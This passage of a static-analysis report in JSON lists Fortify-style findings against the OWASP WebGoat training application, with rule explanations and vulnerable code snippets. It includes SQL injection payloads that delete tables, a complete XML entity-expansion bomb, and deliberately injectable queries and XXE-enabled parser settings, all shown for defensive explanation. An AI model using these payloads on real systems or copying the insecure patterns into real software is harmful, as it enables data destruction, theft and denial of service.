with difficult security issues, including:\n\n- In-band versus out-of-band signaling\n\n- Compatibility between protocol versions\n\n- Channel security\n\n- Error handling\n\n- Network constraints (firewalls)\n\n- Session management\n\nWithout significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems.\n\nMany of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> calls <Replace key=\"PrimaryCall.name\"/>. Socket-based communication in web applications is prone to error.<AltParagraph>Socket-based communication in web applications is prone to error.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-integration-tests/src/test/java/org/owasp/webgoat/IntegrationTest.java\nStartLine: 64, EndLine: 70\nCode:\n}\n\n    private static boolean isAlreadyRunning(int port) {\n        try (var ignored = new Socket(\"127.0.0.1\", port)) {\n            return true;\n        } catch (IOException e) {\n            return false;","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"4B673A45-9AD5-4CBA-945B-11A3702CDF57","desc":"<Content>SQL injection errors occur when:\n\n1. Data enters a program from an untrusted source.\n\nIn this case, Fortify Static Code Analyzer could not determine that the source of the data is trusted.\n\n2. The data is used to dynamically construct a SQL query.\n\n<Paragraph>\nIn this case, the data is passed to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where the owner matches the user name of the currently-authenticated user.\n\n<pre>\n...\n\tString userName = ctx.getAuthenticatedUserName();\n\tString itemName = request.getParameter(\"itemName\");\n\tString query = \"SELECT * FROM items WHERE owner = '\"\n\t\t\t\t+ userName + \"' AND itemname = '\"\n\t\t\t\t+ itemName + \"'\";\n\tResultSet rs = stmt.execute(query);\n...\n</pre>\n\nThe query intends to execute the following code:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = &lt;userName&gt;\n\tAND itemname = &lt;itemName&gt;;\n</pre>\n\nHowever, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if <code>itemName</code> does not contain a single-quote character. If an attacker with the user name <code>wiley</code> enters the string \"<code>name' OR 'a'='a</code>\" for <code>itemName</code>, then the query becomes the following:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name' OR 'a'='a';\n</pre>\n\nThe addition of the <code>OR 'a'='a'</code> condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:\n\n<pre>\n\tSELECT * FROM items;\n</pre>\n\nThis simplification of the query allows the attacker to bypass the requirement that the query must only return items owned by the authenticated user. The query now returns all entries stored in the <code>items</code> table, regardless of their specified owner.\n\n<b>Example 2:</b> This example examines the effects of a different malicious value passed to the query constructed and executed in <code>Example 1</code>. If an attacker with the user name <code>wiley</code> enters the string \"<code>name'; DELETE FROM items; --</code>\" for <code>itemName</code>, then the query becomes the following two queries:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name';\n\n\tDELETE FROM items;\n\n\t--'\n</pre>\n\nMany database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.\n\nNotice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed [4]. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one used in <code>Example 1</code>. If an attacker enters the string \"<code>name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a</code>\", the following three valid statements will be created:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name';\n\n\tDELETE FROM items;\n\n\tSELECT * FROM items WHERE 'a'='a';\n</pre>\n\nSome think that in the mobile world, classic web application vulnerabilities, such as SQL injection, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.\n\n<b>Example 3:</b> The following code adapts <code>Example 1</code> to the Android platform.\n\n<pre>\n...\n        PasswordAuthentication pa = authenticator.getPasswordAuthentication();\n        String userName = pa.getUserName();\n        String itemName = this.getIntent().getExtras().getString(\"itemName\");\n        String query = \"SELECT * FROM items WHERE owner = '\"\n                                + userName + \"' AND itemname = '\"\n                                + itemName + \"'\";\n        SQLiteDatabase db = this.openOrCreateDatabase(\"DB\", MODE_PRIVATE, null);\n        Cursor c = db.rawQuery(query, null);\n...\n</pre>\n\nOne traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers may:\n\n    - Target fields that are not quoted\n    - Find ways to bypass the need for certain escaped meta-characters\n    - Use stored procedures to hide the injected meta-characters\n\nManually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.\n\nAnother solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.</Content>","title":"<Content><Paragraph>On line <Replace key=\"PrimaryLocation.line\"/> of <Replace key=\"PrimaryLocation.file\"/>, the method <Replace key=\"EnclosingFunction.name\"/> invokes a SQL query built using input potentially coming from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.<AltParagraph>Constructing a dynamic SQL statement with input that comes from an untrusted source could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands. </AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 99, EndLine: 105\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\nStartLine: 56, EndLine: 62\nCode:\n}\n            try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                    ResultSet.CONCUR_READ_ONLY)) {\n                ResultSet results = statement.executeQuery(query);\n\n                if ((results != null) && (results.first())) {\n                    ResultSetMetaData resultsMetaData = results.getMetaData();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\nStartLine: 56, EndLine: 62\nCode:\ntry(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY)) {\n\n        ResultSet results = statement.executeQuery(query);\n\n        if ((results != null) && (results.first())) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 71, EndLine: 77\nCode:\ntry {\n                String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n                Statement statement = connection.createStatement();\n                ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n                if (resultSet.next()) {\n                \tif (username_reg.contains(\"tom'\")) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 137, EndLine: 143\nCode:\nString insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 138, EndLine: 144\nCode:\nString insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 139, EndLine: 145\nCode:\nstatement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 52, EndLine: 58\nCode:\nResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT phone from employees;\");\n                ResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 120, EndLine: 126\nCode:\nString insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 52, EndLine: 58\nCode:\nResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT * FROM employees WHERE last_name='Barnett';\");\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if the department of Tobi Barnett now is 'Sales'","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 127, EndLine: 133\nCode:\ntry {\n            Statement statement = connection.createStatement();\n            statement.executeUpdate(log_query);\n        } catch (SQLException e) {\n            System.err.println(e.getMessage());\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 119, EndLine: 125\nCode:\ntry {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            log.info(\"Delete failed, this does not point to an error table might not have been present...\");\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 107, EndLine: 113\nCode:\nString insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 108, EndLine: 114\nCode:\ntry {\n            Statement statement = connection.createStatement();\n            System.out.println(USERS_TABLE_NAME);\n            statement.execute(\"select 1 from \" + USERS_TABLE_NAME);\n        } catch (SQLException e) {\n            createChallengeTable(connection);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\nStartLine: 94, EndLine: 100\nCode:\nfinal String kid = (String) header.get(\"kid\");\n                        try {\n                            Connection connection = DatabaseUtilities.getConnection(webSession);\n                            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                            while (rs.next()) {\n                                return TextCodec.BASE64.decode(rs.getString(1));\n                            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 105, EndLine: 111\nCode:\nString insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";\n            String insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 113, EndLine: 119\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 122, EndLine: 128\nCode:\nstatement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 130, EndLine: 136\nCode:\n+ \"email varchar(30),\"\n                    + \"password varchar(30)\"\n                    + \")\";\n            statement.executeUpdate(createTableStatement);\n\n            String insertData1 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('larry', 'larry@webgoat.org', 'larryknows')\";\n            String insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 108, EndLine: 114\nCode:\nstatement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 102, EndLine: 108\nCode:\ntry {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            log.info(\"Delete failed, this does not point to an error table might not have been present...\");\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 44, EndLine: 50\nCode:\nString checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 119, EndLine: 125\nCode:\nString insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";\n            String insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 106, EndLine: 112\nCode:\nString insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 121, EndLine: 127\nCode:\nString insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);\n        } catch (SQLException e) {\n            log.error(\"Unable create table\", e);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 136, EndLine: 142\nCode:\nString insertData2 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('tom', 'tom@webgoat.org', '\" + PASSWORD_TOM + \"')\";\n            String insertData3 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')\";\n            String insertData4 = \"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES ('eve', 'eve@webgoat.org', '**********')\";\n            statement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n            statement.executeUpdate(insertData3);\n            statement.executeUpdate(insertData4);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(_query);\n                StringBuffer output = new StringBuffer();\n\n                results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 88, EndLine: 94\nCode:\ntry {\n            statement = connection.createStatement();\n            String dropTable = \"DROP TABLE \" + USERS_TABLE_NAME;\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            log.info(\"Delete failed, this does not point to an error table might not have been present...\");\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 57, EndLine: 63\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                SqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 55, EndLine: 61\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 969, EndLine: 975\nCode:\n\"'jeff', 8, '934-2002-3485', '435-4325-3358', '2008-02-20 21:42:00', 'X-rays', '200'\",};\n        try {\n            for (int i = 0; i < data.length; i++) {\n                statement.executeUpdate(\"INSERT INTO Transactions VALUES (\" + data[i] + \");\");\n            }\n        } catch (SQLException sqle) {\n            System.out.println(\"Error: Unable to insert transactions:  \" + sqle.getLocalizedMessage());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 77, EndLine: 83\nCode:\nprivate void checkDatabase(Connection connection) throws SQLException {\n        try {\n            Statement statement = connection.createStatement();\n            statement.execute(\"select 1 from \" + USERS_TABLE_NAME);\n        } catch (SQLException e) {\n            createChallengeTable(connection);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 91, EndLine: 97\nCode:\nprivate void checkDatabase(Connection connection) throws SQLException {\n        try {\n            Statement statement = connection.createStatement();\n            statement.execute(\"select 1 from \" + USERS_TABLE_NAME);\n        } catch (SQLException e) {\n            createChallengeTable(connection);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"94E84F42-7DFF-48DC-ACC6-DC25297FFE68","desc":"<Content>XML Entity Expansion injection also known as XML Bombs are Denial Of Service (DoS) attacks that benefit from valid and well-formed XML blocks that expand exponentially until they exhaust the server allocated resources. XML allows to define custom entities which act as string substitution macros. By nesting recurrent entity resolutions, an attacker may easily crash the server resources.\n\nThe following XML document shows an example of an XML Bomb.\n<pre>\n&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE lolz [\n  &lt;!ENTITY lol \"lol\"&gt;\n  &lt;!ENTITY lol2 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\"&gt;\n  &lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\"&gt;\n  &lt;!ENTITY lol4 \"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;\"&gt;\n  &lt;!ENTITY lol5 \"&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;\"&gt;\n  &lt;!ENTITY lol6 \"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;\"&gt;\n  &lt;!ENTITY lol7 \"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;\"&gt;\n  &lt;!ENTITY lol8 \"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;\"&gt;\n  &lt;!ENTITY lol9 \"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;\"&gt;\n]&gt;\n&lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;\n</pre>\n\nThis test could crash the server by expanding the small XML document into more than 3GB in memory.</Content>","title":"<Content><Paragraph>The XML parser configured in <Replace key=\"PrimaryLocation.file\"/>:<Replace key=\"PrimaryLocation.line\"/> does not prevent nor limit Document Type Definition (DTD) entity resolution. This can expose the parser to an XML Entity Expansion injection<AltParagraph>Using XML parsers configured to not prevent nor limit Document Type Definition (DTD) entity resolution can expose the parser to an XML Entity Expansion injection</AltParagraph>.</Paragraph></Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\nStartLine: 84, EndLine: 90\nCode:\nprotected Comment parseXml(String xml) throws Exception {\n        JAXBContext jc = JAXBContext.newInstance(Comment.class);\n\n        XMLInputFactory xif = XMLInputFactory.newFactory();\n        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);\n        xif.setProperty(XMLInputFactory.IS_VALIDATING, false);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\nStartLine: 89, EndLine: 95\nCode:\nxif.setProperty(XMLInputFactory.IS_VALIDATING, false);\n\n        xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);\n        XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n        Unmarshaller unmarshaller = jc.createUnmarshaller();\n        return (Comment) unmarshaller.unmarshal(xsr);","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"F2BD85B8-504E-4D52-967C-E00A043BAFAD","desc":"<Content>Appending user-controlled data to a <code>StringBuilder</code> instance initialized with the default backing character array size (16) can cause the application to consume large amounts of heap memory while resizing the underlying array to 